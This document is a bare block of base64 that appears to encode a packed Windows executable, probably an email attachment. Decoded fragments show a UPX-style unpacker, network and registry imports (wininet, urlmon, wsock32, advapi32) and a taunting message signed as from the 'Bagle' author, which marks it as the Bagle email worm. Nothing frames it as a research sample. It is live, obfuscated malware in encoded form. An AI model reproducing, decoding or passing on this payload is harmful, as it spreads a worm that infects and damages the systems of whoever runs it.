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 bGQVbmFtZWxlv91c+3NzIHRpCBMcYW4hdG8gc3X+b3/3cnZpdhJTbywgeW91GGlsbCBiZSBt aW639tvvFS0tIEJhZzkgQXV0aE8iMjlht2/uLjA0AglHZXJtRHkufW//t+9qAAHojkCQo2yZ QABoDzgE/zUE3+0a33BAFCGKBTZsBBaxkGpk2v7/dwdBbuvxycNVi+xX/3UIX+sIR/YIgO1u /5ezBTt9DHXzX8nCCEJrT0cAEPsg349BQChok6gOcIEFcVAebu3/ZQAA6ZX+7//M/yXsYA8F KGEZGRl5JCAcGBkZGRkUEAwI8hwZGQQA/GD4MjIyMvTw6OQyMjIy4JxUWDIyMjJcYGRoMjIy MmxwdHg5NjIyfICEv4hgns/n84xgkGCUYJhgLPl8PkegYKRgqGCsYMjIyPOwYLS4vMjIyMjA xMjMycjIyNDU2Nx8Pp/fYYlwYWxhaGFkYcjY5PmoYaQFnMjIyMi0lJCMyMjIyJiwuKzIyMjI vDg0QOHIyMhEUEhMYdlkZGTkeIR8gDIyMsKXFBAI5DthMgzZYAUgZGRkZCQoLDBkZGRkNDg8 QGFmZGRESEwAAiRUQSKaqaL6HcP+9t8+EASMT8vDz9QBy8/M1Mj6AG3///+ptbyurbuov6au k5ef+p6IjJ6elpbUn4ILptn//4EMta+uqrWprtS/or/6tLe7s7QJ/v/f/rWorrW0pQ2uv6i0 v66lqb+5r6XJ1MqlzsrN375tzyCqvAqlYKXDwqUkpbe/pWu3bdjIsRgMqS+0vTkQ+c9uB6i1 RbmuDKm5sr++ych2a2c/rqy+twmsqBjLzAy19v82sTiztdetqKrXzsjL10gKvbnug5Sxs7a2 TLleX66vqreZO7Yvyxe2vhUJHLu2J+QPc68Msb61rbTIyn0sNmsAEEIKuba/uyP8P7aluQu7 rIqIlY6fmY7Dgh652MJZ+7e9qL6zHii3E8ql5GTtNrnnw6JNDLSuD/s2m6wGbLjLwssLrr7P bu3Zrbeks7m+eaq0pb6/C4O1hbylrvwMqo6jLxvWZgpSB6m+qEJhVnAr2I0ZU585tnK/n7IB v6KrrxxYwApMGCWsv53dkmeqvheiFq6zrLOoLdiH8K+p17k6vLupCBewMCu0v3J2DEStOJw1 gsweEaqcWQu20AawuyKgB5KwzdqpYmnPtYTkwN7+Fc/Jylu4o7gQrWDbgyWjvbi34a8KZd1g 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA 